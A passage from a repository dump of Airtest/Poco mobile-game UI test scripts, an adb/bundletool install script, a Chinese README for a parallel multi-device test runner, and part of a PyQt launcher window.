UnityPoco\npoco = UnityPoco()\nfrom poco.exceptions import PocoNoSuchNodeException\nfrom poco.exceptions import PocoTargetTimeout\n\n\ndef currentData(): # 判断分支\n print(\"-----3----\")\n touch(Template(r\"tpl1572488764686.png\", record_pos=(-0.13, 0.211), resolution=(2560, 1440)))\n sleep(5)\n poco.click([0.48, 0.42])\n text(\"Confirm\")\n\n sleep(2)\n poco.click([0.48, 0.42])\n sleep(3)\n touch(Template(r\"tpl1572493133436.png\", record_pos=(0.01, 0.039), resolution=(2560, 1440)))\n sleep(10)\n print(\"-----4----\")\n if exists(Template(r\"tpl1574919826343.png\", record_pos=(-0.0, -0.044), resolution=(2880, 1440))):\n poco.click([0.5, 0.55])\n sleep(10)\n print(\"-----5----\")\n if exists(Template(r\"tpl20191202095928.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):#下载新阶段内容\n poco.click([0.5, 0.55])\n sleep(28)\n if exists(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(3)\n if exists(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(5)\n\n\n# 登录facebook首页方法\ndef DHM_login():\n if poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\"):\n poco.click([0.5,0.57])\n sleep(10)\n #选择本地或者服务器数据\n if poco('CurrentDataButton').exists():\n currentData()\n else:#无选择数据分支\n sleep(25)\n if login_mode=='facebook':\n if poco('FacebookLogin').exists():\n touch(Template(r\"tpl1574912559868.png\", record_pos=(-0.144, 0.176), resolution=(2880, 1440)))\n sleep(20)\n print(\"-----1----\")\n if poco('CurrentDataButton').exists():\n currentData()\n else:\n sleep(30)\n poco.click([0.48, 0.55])\n print(\"-----6----\")\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n print(\"-----7----\")\n sleep(5)\n sleep(10)\n while True:\n if poco(\"BtnSkip\").exists(): # 出现引导\n poco(\"BtnSkip\").click()\n if poco(name=\"CloBtn\"):\n click_Name(\"CloBtn\")\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n if poco('QuitButton'):\n click_Name(\"QuitButton\")\n # 关闭弹出来的对话框\n if poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n if poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n if poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n # 如果有新手引导礼物,关闭对话框\n if poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n # 关闭每日签到奖励对话框\n if poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n # 判断是否进入主页面\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n log('当前界面无任何弹框')\n break\n# 点击类型为name按钮并等待UI跟新\ndef remove_swipe(sx,sy,qx1,qy1,way):\n #如果存在新手引导框\n if way == \"up\":\n qx2 = qx1\n qy2 = qy1 - 0.1\n elif way == \"down\":\n qx2 = qx1\n qy2 = qy1 + 0.1\n elif way == \"left\":\n qy2 = qy1\n qx2 = qx1 - 0.07\n elif way == \"right\":\n qy2 = qy1\n qx2 = qx1 + 0.07\n else:\n text('Error passing parameter:way')\n sleep(2)\n try:\n swipe((sx*qx1,sy*qy1),(sx*qx2,sy*qy2))\n except PocoTargetTimeout:\n print('timeout')\n sleep(3)\n\ndef playGame():\n print(\"--------------------------------------------\")\n sleep(10)\n log('随机滑动20次')\n for i in range(20):\n remove_swipe(sx, sy, random.uniform(0.3, 0.8), random.uniform(0.3, 0.8),\n random.choice(['up', 'down', 'left', 'right']))\n\n log('滑个球球老夫不滑了,霸王锤搞起来50次,0.2-0.7的坐标锤')\n for n in range(3): # 配合錘子次數\n if exists(Template(r\"tpl1570781963752.png\", rgb=True, record_pos=(0.436, -0.007), resolution=(1920, 1080))):\n touch(Template(r\"tpl1570781963752.png\",rgb=True, record_pos=(0.436, -0.007), resolution=(1920, 1080)))\n if poco('BuyButton').exists():\n poco('BuyButton').click()\n sleep(3)\n touch(Template(r\"tpl1570781963752.png\",rgb=True, record_pos=(0.436, -0.007), resolution=(1920, 1080)))\n sleep(1)\n poco.click([random.uniform(0.2, 0.7), random.uniform(0.1, 0.9)])\n sleep(3)\n if exists(Template(r\"tpl1574927430723.png\", record_pos=(-0.009, -0.007), resolution=(2880, 1440))):\n touch(Template(r\"tpl1574927430723.png\", record_pos=(-0.009, -0.007), resolution=(2880, 1440)))\n sleep(10)\n break\n # 进入首页\n # 跳出循环没锤子不玩了\n log('锤了50次还没搞定--老夫撤退了')\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))): # 退出游戏了进入首页\n log('已经回到首页游戏结束')\n if poco(\"ButtonSetting\").exists():\n poco(\"ButtonSetting\").click()\n sleep(1)\n poco(\"ButtonQuit\").click()\n sleep(5)\n\n\ndef click_Name(arg):\n ui = poco(name=arg)\n try:\n ui.invalidate()\n ui.wait_for_appearance(timeout=30)\n ui.click()\n text('succee click--' + str(arg))\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1)\n\n # 判断当前界面是否位于主界面\ndef exists_main():\n # 循环检测4次\n for per in range(4):\n if poco(name=\"BtnSkip\").exists():\n click_Name(\"BtnSkip\")\n sleep(20)\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n # 关闭弹出来的对话框\n elif poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n elif poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n elif poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n # 如果有新手引导礼物,关闭对话框\n elif poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n # 关闭活动奖励对话框\n elif poco(name=\"PanelMainLineActivity\"):\n click_Name(\"ToLevelButton\")\n sleep(5)\n # 关闭每日签到奖励对话框\n elif poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n else:\n text('当前界面无任何弹框')\n break\n\n\n#登入模式\nDHM_login()\nsleep(5)\ntry:\n poco(\"Start\").click()\n sleep(3) \n if poco(\"ButtonBuy\").exists():\n poco(\"ButtonBuy\").click()\n log('点击开始游戏')\n sleep(3)\n log('点击进入游戏')\n poco.click([0.5,0.83])\n playGame()\n assert_exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080)), \"游戏测试成功回到主页面\")\nexcept :\n pass \nsleep(5)\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5428571701049805, "alphanum_fraction": 0.5547170042991638, "avg_line_length": 28.919355392456055, "blob_id": "2ef701c06d45c3313ec44ebc92afe04c290e9f40", "content_id": "a00002690e0732c87c296a84d88cbc261e2ff7df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2023, "license_type": "no_license", "max_line_length": 298, "num_lines": 62, "path": "/scripts/DHM_install.air/DHM_install.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- encoding=utf8 -*-\n__author__ = \"chihai\"\n\nfrom airtest.core.api import *\n\napp_id = \"com.dreamhomematch.casual.free\"\nfrom constant import *\nfrom utils import *\n#开启APP\nauto_setup(__file__)\ndef uninstall_DHM():\n status = os.popen(\n 'adb uninstall com.dreamhomematch.casual.free')\n list = status.readlines()\n if list[0].find('Success') >= 0:\n log('DHM卸载执行成功---')\n Logging('DHM卸载执行成功---')\n elif list[0].find('Failure') >= 0:\n log('DHM卸载失败---')\n Logging('DHM卸载失败---')\n else:\n log('DHM命令异常---')\n Logging('DHM命令异常---')\n\ndef install_DHM():\n time_tup = time.localtime(time.time())\n format_time = '%Y-%m-%d_%a_%H-%M-%S'\n apksName = time.strftime(format_time, time_tup)\n build_device_apks = 'D:\\\\testdir\\\\Result\\\\DHM_Release\\\\' + apksName + '.apks'\n # 通过AAB构建APKS----代替---install(apk_path)\n Build = os.system(\n 'java -jar D:\\\\testdir\\\\lib\\\\bundletool-all-0.10.2.jar build-apks --connected-device --bundle=D:\\\\testdir\\\\Result\\\\DHM_Release\\\\DHM_Release.aab --output=' + build_device_apks + ' --ks=D:\\\\testdir\\\\lib\\\\signature.keystore --ks-pass=pass:123456 --ks-key-alias=key --key-pass=pass:123456')\n if Build == 0:\n log('DHM构建成功')\n Install = os.system(\n 'java -jar D:\\\\testdir\\\\lib\\\\bundletool-all-0.10.2.jar install-apks --apks=' + build_device_apks)\n # 构建成功安装APKS\n if Install == 0:\n log('DHM安装成功')\n Logging('DHM安装成功')\n sleep(2)\n else:\n log('DHM安装失败')\n Logging('DHM安装失败')\n pass\n else:\n log('DHM构建失败')\n Logging('DHM构建失败')\n#########################################################\ntry:\n uninstall_DHM()\nexcept:\n Logging('DHM命令异常---')\n pass\n\n#安装DHM\ntry:\n install_DHM()\nexcept:\n log('DHM安装失败')\n Logging('DHM安装失败')\n pass\n" }, { "alpha_fraction": 0.740841805934906, "alphanum_fraction": 0.7735775709152222, "avg_line_length": 23.912620544433594, "blob_id": "b2c475f25e9c1972ba9c426d715d796b386fc27a", "content_id": "5ea14d3571ff0cfe63fc477e76dced78a0fb3009", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4496, "license_type": "no_license", "max_line_length": 94, "num_lines": 103, "path": "/README.md", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# airtest_runner\n采用python多进程,多设备并行批量airtest脚本\n\n我的运行环境为python3.7,其他依赖包版本在requirements.txt文件里\npython2的话需要自己调整部分代码做兼容;\n\n懒得安装环境和二次开发的可以直接到release下载exe文件熟肉使用\n\n下载点这里:[releases](https://github.com/buffaloleo143/airtest_runner/releases)\n\n## 1.1.exe使用步骤\n\t(1).双击打开airtest启动器.exe,进入程序主界面\n\t(2).左边选取安卓设备,右边点击‘选取脚本路径’按钮,选择脚本所在的根目录,选好后可在右边窗口选取要运行的脚本;\n\t(3).选取模式,模式分两种,在【2.config.ini 全局配置】中会有介绍;\n\t(4).点击启动按钮,通过控制台查看运行情况,静静地等待运行结果;\n\t(5).运行结束后会有一个弹窗提示,点击ok按钮查看该次的报告;\n\t(6).历史报告在logs_root文件夹下\n\n## 1.2.源码使用步骤\n\n\t\t(1).把自己写的air脚本放置到scripts文件夹下\n\t\t(2).打开config.ini,根据注释填写运行模式、脚本名称及设备序列号;\n\t\t(3).运行main.py文件,推荐用pycharm运行,全局环境下也可以直接用 运行.bat 来运行;\n\t\t(4).等待运行结果,自动生成的报告将在logs_root文件夹;注:报告依赖airtest的静态,这里不建议更改报告的文件结构\n \n## 2.config.ini 全局配置\n\n```python\n[baseconf]\nscripts_root = scripts\nscripts = \ndevices = all\nmode = 1\nplatform = Android\n\n```\nscripts_root #脚本根目录,默认为工程目录下的scripts文件夹\n\nscripts # 要运行的脚本名称列表,半角逗号连接,如:SzwyMobile1014-1036.air,hh.air,无内容则按顺序运行scripts目录下所有脚本\n\ndevices = all # 设备id,半角逗号连接,格式为:PBV0216727000183,8TFDU18926001948,为空默认选取电脑上连的第一台设备,all则运行所有设备\n\nmode = 1 # 1:每台设备各自运行所有脚本,2:所有设备分配运行所有脚本\n\nplatform = Android # 平台为Windows时设备号需填窗口句柄\n\n这里提供两种模式:\n - mode = 1:每台设备各自运行所有要跑的脚本,即批量并行相同脚本,报告数量=脚本数量x设备数量,适合做兼容测试;\n - mode = 2:采用消息队列,将所有要跑的脚本逐一以分配的方式给空闲的设备运行,报告数量=脚本数量,适合做功能的回归测试;\n\n\n## 3.runner.py \n利用multiprocessing根据设备数量生成进程池,单个进程里再利用unittest生成每一个脚本的测试用例\n\n## 4.report.py\n根据模板生成单个airtest脚本测试的报告,重写了airtest源码中若干源码,减少报告中的静态资源的路径依赖\n\n## 5.utils.py\n该模块提供了一些通用接口,其中还包括压缩本地报告上传至云平台的代码,上传地址需使用者自己填写\n\n```python\ndef PostZipFile(sZipFile):\n\tsPostUrl = '' # 上传路径\n\tsName = os.path.basename(sZipFile)\n\tfile = {sName: open(sZipFile, 'rb')}\n\theaders = {\n\t\t'Connection': 'keep-alive',\n\t\t'Host': '10.32.17.71:8001',\n\t\t'Upgrade-Insecure-Requests': '1',\n\t}\n\tr = requests.post(sPostUrl, files=file, headers=headers)\n\tif r.status_code == 200:\n\t\tLogging('报告上传成功')\n\telse:\n\t\tLogging('报告上传失败')\n\t\tLogging('状态码:%s' % r.status_code)\n\t\tLogging(r.content)\n\n\ndef UnzipFile(sZipFile):\n\tsDir, sZipFileName = os.path.split(sZipFile)\n\tz = zipfile.ZipFile(sZipFile, 'r')\n\tsPath = os.path.join(sDir, sZipFileName.replace('.zip', ''))\n\tif not os.path.exists(sPath):\n\t\tos.mkdir(sPath)\n\tz.extractall(path=sPath)\n\tz.close()\n\n\ndef PostReport2TestWeb(sExportPath):\n\tsZipFile = ZipFile(sExportPath)\n\tPostZipFile(sZipFile)\n\tos.remove(sZipFile)\n```\nPostReport2TestWeb的参数为报告的绝对路径\n\n## 5.video.py\n该模块利用OpenCV实现Windows端的录屏功能,弥补了airtest在PC运行时无法录屏的缺点。其中视频的帧率和录制时间间隔可以自己调整至一个合适的数值\n\n## 6.file_lock.py\n为了记录单次测试里每一个报告的聚合结果,这里采用将结果写入临时文件的方式。由于存在多条进程同时对一个文件进行读写操作的情况,我只是简单得用了文件锁来处理了一下。\n\n经测试在windows端进程较多的情况下仍会出现结果写入异常的情况,条件足够的话建议将结果保存在自己的数据库中。\n" }, { "alpha_fraction": 0.45444586873054504, "alphanum_fraction": 0.5471973419189453, "avg_line_length": 30.113636016845703, "blob_id": "3d1f666b739f0edbe6a6290a8829a8708821c2bc", "content_id": "241e0dfe54bcd58df3e05e9a23a154f933baa12c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11870, "license_type": "no_license", "max_line_length": 122, "num_lines": 352, "path": "/scripts/DHM_FB_other.air/DHM_FB_other.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- encoding=utf8 -*-\n__author__ = \"chihai\"\n\nfrom airtest.core.api import *\napp_id = \"com.dreamhomematch.casual.free\"\nimport random\nfrom constant import *\nauto_setup(__file__)\nstop_app(app_id)\nsleep(3)\nstart_app(app_id)\nsleep(15)\ndev = device()\nsy = dev.display_info['width']\nsx = dev.display_info['height']\nlogin_mode ='facebook'\nfrom poco.drivers.unity3d import UnityPoco\npoco = UnityPoco()\nfrom poco.exceptions import PocoNoSuchNodeException\nfrom poco.exceptions import PocoTargetTimeout\n\n\ndef currentData(): # 判断分支\n print(\"-----3----\")\n touch(Template(r\"tpl1572488764686.png\", record_pos=(-0.13, 0.211), resolution=(2560, 1440)))\n sleep(5)\n poco.click([0.48, 0.42])\n text(\"Confirm\")\n\n sleep(2)\n poco.click([0.48, 0.42])\n sleep(3)\n touch(Template(r\"tpl1572493133436.png\", record_pos=(0.01, 0.039), resolution=(2560, 1440)))\n sleep(10)\n print(\"-----4----\")\n if exists(Template(r\"tpl1574919826343.png\", record_pos=(-0.0, -0.044), resolution=(2880, 1440))):\n poco.click([0.5, 0.55])\n sleep(10)\n print(\"-----5----\")\n if exists(Template(r\"tpl20191202095928.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):#下载新阶段内容\n poco.click([0.5, 0.55])\n sleep(28)\n if exists(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(3)\n if exists(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(5)\n\n\n# 登录facebook首页方法\ndef DHM_login():\n if poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\"):\n poco.click([0.5,0.57])\n sleep(10)\n #选择本地或者服务器数据\n if poco('CurrentDataButton').exists():\n currentData()\n else:#无选择数据分支\n sleep(25)\n if login_mode=='facebook':\n if poco('FacebookLogin').exists():\n touch(Template(r\"tpl1574912559868.png\", record_pos=(-0.144, 0.176), resolution=(2880, 1440)))\n sleep(20)\n print(\"-----1----\")\n if poco('CurrentDataButton').exists():\n currentData()\n else:\n sleep(30)\n poco.click([0.48, 0.55])\n print(\"-----6----\")\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n print(\"-----7----\")\n sleep(5)\n sleep(10)\n# 日常登录进入首页(进入首页之前的所有窗口处理包括引导)\n while True:\n if poco(\"BtnSkip\").exists(): # 出现引导\n poco(\"BtnSkip\").click()\n if poco(name=\"CloBtn\"):\n click_Name(\"CloBtn\")\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n if poco('QuitButton'):\n click_Name(\"QuitButton\")\n # 关闭弹出来的对话框\n if poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n if poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n if poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n # 如果有新手引导礼物,关闭对话框\n if poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n # 关闭每日签到奖励对话框\n if poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n # 判断是否进入主页面\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n log('当前界面无任何弹框')\n break\n\n# 点击类型为name按钮并等待UI跟新\ndef remove_swipe(sx,sy,qx1,qy1,way):\n #如果存在新手引导框\n if way == \"up\":\n qx2 = qx1\n qy2 = qy1 - 0.1\n elif way == \"down\":\n qx2 = qx1\n qy2 = qy1 + 0.1\n elif way == \"left\":\n qy2 = qy1\n qx2 = qx1 - 0.07\n elif way == \"right\":\n qy2 = qy1\n qx2 = qx1 + 0.07\n else:\n text('Error passing parameter:way')\n sleep(2)\n try:\n swipe((sx*qx1,sy*qy1),(sx*qx2,sy*qy2))\n except PocoTargetTimeout:\n print('timeout')\n sleep(3)\n\ndef playGame():\n for x in range(2): # 循环次\n print(\"--------------------------------------------\")\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))): # 退出游戏了进入首页\n log('已经回到首页游戏结束')\n break\n # 随机方向滑动4次\n sleep(10)\n log('随机滑动4次')\n remove_swipe(sx, sy, random.uniform(0.3, 0.8), random.uniform(0.3, 0.8),\n random.choice(['up', 'down', 'left', 'right']))\n # 滑累了来锤子\n remove_swipe(sx, sy, random.uniform(0.3, 0.8), random.uniform(0.3, 0.8),\n random.choice(['up', 'down', 'left', 'right']))\n remove_swipe(sx, sy, random.uniform(0.3, 0.8), random.uniform(0.3, 0.8),\n random.choice(['up', 'down', 'left', 'right']))\n remove_swipe(sx, sy, random.uniform(0.3, 0.8), random.uniform(0.3, 0.8),\n random.choice(['up', 'down', 'left', 'right']))\n log('滑个球球老夫不滑了,霸王锤搞起来50次,0.2-0.7的坐标锤')\n for n in range(5): # 配合錘子次數\n if exists(Template(r\"tpl1570781963752.png\", rgb=True, record_pos=(0.436, -0.007), resolution=(1920, 1080))):\n touch(Template(r\"tpl1570781963752.png\",rgb=True, record_pos=(0.436, -0.007), resolution=(1920, 1080)))\n sleep(1)\n poco.click([random.uniform(0.2, 0.7), random.uniform(0.1, 0.9)])\n sleep(3)\n if exists(Template(r\"tpl1574927430723.png\", record_pos=(-0.009, -0.007), resolution=(2880, 1440))):\n\n touch(Template(r\"tpl1574927430723.png\", record_pos=(-0.009, -0.007), resolution=(2880, 1440)))\n sleep(10)\n break\n # 进入首页\n # 跳出循环没锤子不玩了\n log('锤了50次还没搞定--老夫撤退了')\n if poco(\"ButtonSetting\").exists():\n poco(\"ButtonSetting\").click()\n sleep(1)\n poco(\"ButtonQuit\").click()\n sleep(5)\n break\n\ndef click_Name(arg):\n ui = poco(name=arg)\n try:\n ui.invalidate()\n ui.wait_for_appearance(timeout=30)\n ui.click()\n text('succee click--' + str(arg))\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1)\n\n # 判断当前界面是否位于主界面\ndef exists_main():\n # 循环检测4次\n for per in range(4):\n if poco(name=\"BtnSkip\").exists():\n click_Name(\"BtnSkip\")\n sleep(20)\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n # 关闭弹出来的对话框\n elif poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n elif poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n elif poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n # 如果有新手引导礼物,关闭对话框\n elif poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n # 关闭活动奖励对话框\n elif poco(name=\"PanelMainLineActivity\"):\n click_Name(\"ToLevelButton\")\n sleep(5)\n # 关闭每日签到奖励对话框\n elif poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n else:\n text('当前界面无任何弹框')\n break\n\n \n ###广告观看\ndef gotoTv():\n tv=40\n if poco(\"Main(Clone)\").child(\"LeftBar\").child(\"Renwu\").exists():\n poco(\"Main(Clone)\").child(\"LeftBar\").child(\"Renwu\").click()\n sleep(3)\n if poco(\"ImgAdTip\").exists():\n poco(\"ImgAdTip\").click()\n while True:\n tv -= 1\n sleep(1)\n if tv == 1:\n keyevent(\"BACK\")\n break\n sleep(5)\n poco.click([0.5, 0.5])\n sleep(3)\n if assert_exists(Template(r\"tpl1575016329101.png\", record_pos=(-0.006, 0.069), resolution=(1920, 1080)),\n \"广告结束获取奖励\"):\n poco.click([0.5, 0.5])\n else:\n log('无广告可以观看')\ndef gotoTv2():\n tv=40\n if poco(\"BtnFreeCoin\").exists():\n poco(\"BtnFreeCoin\").click()\n while True:\n tv -= 1\n sleep(1)\n if tv == 1:\n keyevent(\"BACK\")\n break\n sleep(5)\n poco.click([0.5, 0.5])\n sleep(3)\n if assert_exists(Template(r\"tpl1575016329101.png\", record_pos=(-0.006, 0.069), resolution=(1920, 1080)),\n \"广告结束获取奖励\"):\n poco.click([0.5, 0.5])\n else:\n log('无广告可以观看')\nDHM_login()\nsleep(5)\nimport random\nwhile True:# 随机切换家具3选一\n sleep(5)\n poco.long_click([random.uniform(0.3, 0.8), random.uniform(0.3, 0.8)] ,duration=3)\n if exists(Template(r\"tpl1574997974732.png\", record_pos=(0.453, -0.172), resolution=(1920, 1080))):\n a=([0.8,0.35],[0.9,0.35],[0.8,0.55])\n b=random.choice(a)\n poco.click(b)\n sleep(1)\n poco.click([0.86,0.73])\n sleep(3)\n break\n#other check\ntouch(Template(r\"tpl1575258021330.png\", record_pos=(-0.362, 0.085), resolution=(2280, 1080)))\nsleep(3)\npoco.swipe((0.85,0.5),(0.15,0.5))\nsleep(1)\npoco.swipe((0.15,0.5),(0.85,0.5))\nlog('左滑一次,右滑一次')\nsleep(1)\npoco.long_click([0.5,0.5])\nsleep(5)\nif poco(\"ButtonShare\").exists():\n poco(\"ButtonShare\").click()\n sleep(20)\n if exists(Template(r\"tpl1575265012267.png\", record_pos=(-0.001, -0.158), resolution=(2280, 1080))):\n poco.swipe((0.46,0.67),(0.46,0.47))\n sleep(1)\n #touch(Template(r\"tpl1575264992127.png\", record_pos=(0.0, 0.157), resolution=(2280, 1080)))\n poco.click([0.5,0.82])\n sleep(8)\n else:\n poco.click([0.88,0.07])\n sleep(8)\nsleep(5)\npoco(\"ButtonClose\").click()\nsleep(3)\n#进入设置\npoco(texture=\"setting_fg\").click()\nsleep(1)\npoco(\"ButtonContactUs\").click()\nsleep(1)\npoco.click([0.47,0.40])\nsleep(1)\ntext(\"very good!\")\nsleep(1)\npoco(\"ButtonSend\").click()\nlog('反馈联系完成')\n#打分\npoco(\"ButtonRate\").click()\nsleep(3)\nsnapshot()\nsleep(1)\nkeyevent(\"BACK\")\nsleep(3)\npoco(\"ButtonPrivacy\").click()\nsleep(1)\npoco(\"ButtonUrl1\").click()\nsleep(3)\nsnapshot()\nsleep(1)\nkeyevent(\"BACK\")\nsleep(3)\npoco(\"ButtonUrl2\").click()\nsleep(3)\nsnapshot()\nsleep(1)\nkeyevent(\"BACK\")\nsleep(1)\npoco(\"PanelUserTips\").offspring(\"ButtonClose\").click()\nsleep(3)\npoco(\"ButtonClose\").click()\nsleep(3)\nassert_exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080)),\"购买成功回到主页面\")\n##\n ###广告观看\na=random.choice([1,2])\nif a==1:\n gotoTv()\nelse:\n gotoTv2()\nsleep(3)\nstop_app(app_id)\n\n\n" }, { "alpha_fraction": 0.7223060131072998, "alphanum_fraction": 0.7239819169044495, "avg_line_length": 27.55023956298828, "blob_id": "6986598ec73e97d1cd7a17b7d697ba27f7af3a45", "content_id": "e0688a2c03a808bf5d6f46019e7c36ad24f26dcd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6115, "license_type": "no_license", "max_line_length": 103, "num_lines": 209, "path": "/mywindowdlg.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Leo Zeng\nimport os\nimport sys\nimport utils\nimport frozen\n\nif hasattr(sys, 'frozen'):\n\tos.environ['PATH'] = sys._MEIPASS + \";\" + os.environ['PATH']\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom airtest.core.android.adb import ADB\nfrom mywindow import *\nfrom constant import *\n\nDEFAULT_SCRIPTS_ROOT = 'scripts'\n\n\ndef InitWindow():\n\toMyWindow = MyWindow.GetInstance()\n\toMyWindow.show()\n\treturn oMyWindow\n\n\nclass SingleInst(object):\n\toMgrObj = None\n\n\t@classmethod\n\tdef GetInstance(cls):\n\t\tif not isinstance(SingleInst.oMgrObj, cls):\n\t\t\tcls.ReleaseInstance()\n\t\t\tSingleInst.oMgrObj = cls()\n\t\treturn SingleInst.oMgrObj\n\n\t@classmethod\n\tdef ReleaseInstance(cls):\n\t\tSingleInst.oMgrObj = None\n\n\tdef __init__(self):\n\t\tassert (SingleInst.oMgrObj is None)\n\n\nclass MyWindow(QtWidgets.QMainWindow, Ui_MainWindow, SingleInst):\n\n\tdef __init__(self, parent=None):\n\t\tsuper(MyWindow, self).__init__(parent)\n\t\tself.setupUi(self)\n\t\tself.InitListWidget()\n\t\tself.InitSignal()\n\t\tself.m_ScriptRoot = utils.GetCfgData('scripts_root')\n\t\tself.m_ADB = ADB()\n\t\tself.RefreshScripts()\n\t\tself.RefreshADB()\n\t\tself.m_Running = False\n\n\tdef InitListWidget(self):\n\t\tself.m_DeviceListWidget = CMyListWidget(self.listWidget, self.checkBox)\n\t\tself.m_ScriptListWidget = CMyListWidget(self.LWScripts, self.CBScripts)\n\n\tdef InitSignal(self):\n\t\tself.RefreshBtn.clicked.connect(self.RefreshADB)\n\t\t# self.BtnRefreshScripts.clicked.connect(self.RefreshScripts)\n\t\tself.BtnLaunch.clicked.connect(self.Lauch)\n\t\tself.BtnSelectScripts.clicked.connect(self.SelectScriptRoot)\n\t\tself.checkBox.stateChanged.connect(self.m_DeviceListWidget.SelcetAll)\n\t\tself.CBScripts.stateChanged.connect(self.m_ScriptListWidget.SelcetAll)\n\t\tself.BtnConnect.clicked.connect(self.ConnectRemoteADB)\n\n\tdef RefreshADB(self):\n\t\tlDevices = [(tDevice, tDevice[1] == 'device') for tDevice in self.m_ADB.devices()]\n\t\tself.m_DeviceListWidget.Refresh(lDevices)\n\n\tdef RefreshScripts(self):\n\t\tif not self.m_ScriptRoot:\n\t\t\tutils.SetCfgData('scripts_root', DEFAULT_SCRIPTS_ROOT)\n\t\t\tself.m_ScriptRoot = DEFAULT_SCRIPTS_ROOT\n\t\t\tif not os.path.exists(self.m_ScriptRoot):\n\t\t\t\tos.mkdir(self.m_ScriptRoot)\n\t\tself.LScriptsRoot.setText(self.m_ScriptRoot)\n\t\tlScripts = [(sScript, True) for sScript in os.listdir(self.m_ScriptRoot) if sScript.endswith('.air')]\n\t\tself.m_ScriptListWidget.Refresh(lScripts)\n\n\tdef SelectScriptRoot(self):\n\t\tsDirChoose = QtWidgets.QFileDialog.getExistingDirectory(self, \"选取文件夹\", self.m_ScriptRoot)\n\t\tif sDirChoose == \"\":\n\t\t\treturn\n\t\tself.m_ScriptRoot = sDirChoose\n\t\tself.RefreshScripts()\n\n\tdef ShowReport(self, sCombineLog):\n\t\tself.m_Running = False\n\t\timport webbrowser\n\t\treply = QtWidgets.QMessageBox.question(self, 